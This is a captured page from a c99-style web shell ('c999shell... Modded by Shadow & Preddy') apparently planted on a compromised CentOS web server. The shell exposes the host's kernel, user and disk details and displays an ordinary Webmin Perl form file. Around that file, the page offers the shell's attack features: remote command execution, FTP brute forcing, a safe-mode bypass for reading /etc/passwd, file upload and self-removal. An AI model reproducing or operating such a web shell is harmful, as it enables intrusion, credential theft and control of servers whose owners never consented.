!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/servers/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_auto.cgi (2.27 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show a form for finding Webmin servers
# Thanks to OpenCountry for sponsoring this feature

use strict;
use warnings;
require './servers-lib.pl';
our (%text, %config, %access, @cluster_modules);
$access{'auto'} || &error($text{'auto_ecannot'});
&ui_print_header(undef, $text{'auto_title'}, "");

print &ui_form_start("save_auto.cgi");
print &ui_table_start($text{'auto_header'}, undef, 2);

my $job = &find_cron_job();
my $mins;
if ($job && $job->{'mins'} =~ /^\*\/(\d+)$/) {
    $mins = $1;
    }
elsif ($job && $job->{'mins'} =~ /^(\d+),(\d+)/) {
    $mins = $2-$1;
    }
elsif ($job && $job->{'mins'} =~ /^(\d+)$/) {
    $mins = 60;
    }
print &ui_table_row($text{'auto_sched'},
    &ui_radio("sched", $job ? 1 : 0,
          [ [ 0, $text{'no'} ],
        [ 1, &text('auto_sched1', &ui_textbox("mins", $mins, 4)) ] ]));

my @nets = split(/\s+/, $config{'auto_net'});
my $nmode = !$config{'auto_net'} ? 1 :
        &check_ipaddress($nets[0]) ? 0 : 2;
print &ui_table_row($text{'auto_net'},
    &ui_radio("net_def", $nmode,
          [ [ 1, $text{'auto_auto'}."<br>" ],
        [ 0, &text('auto_ip', &ui_textbox("net", $nmode == 0 ? $config{'auto_net'} : undef, 40))."<br>" ],
        [ 2, &text('auto_iface', &ui_textbox("iface", $nmode == 2 ? $config{'auto_net'} : undef, 8)) ] ]));

print &ui_table_row($text{'auto_user'},
        &ui_textbox("auser", $config{'auto_user'}, 20));

print &ui_table_row($text{'auto_pass'},
        &ui_password("apass", $config{'auto_pass'}, 20));

print &ui_table_row($text{'auto_type'},
        &ui_select("type", $config{'auto_type'} || "unknown",
               [ &get_server_types() ]));

print &ui_table_row($text{'auto_email'},
    &ui_opt_textbox("email", $config{'auto_email'}, 20, $text{'auto_none'}));

print &ui_table_row($text{'auto_smtp'},
    &ui_opt_textbox("smtp", $config{'auto_smtp'}, 20, $text{'auto_self'}));

print &ui_table_row($text{'auto_remove'},
        &ui_yesno_radio("remove", int($config{'auto_remove'})));

print &ui_table_row($text{'auto_findself'},
        &ui_yesno_radio("self", int($config{'auto_self'})));

foreach my $m (@cluster_modules) {
    if (&foreign_available($m)) {
        print &ui_table_row($text{'auto_'.$m},
            &ui_yesno_radio($m, int($config{'auto_'.$m})));
        }
    }

print &ui_table_end();
print &ui_form_end([ [ "save", $text{'save'} ] ]);

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--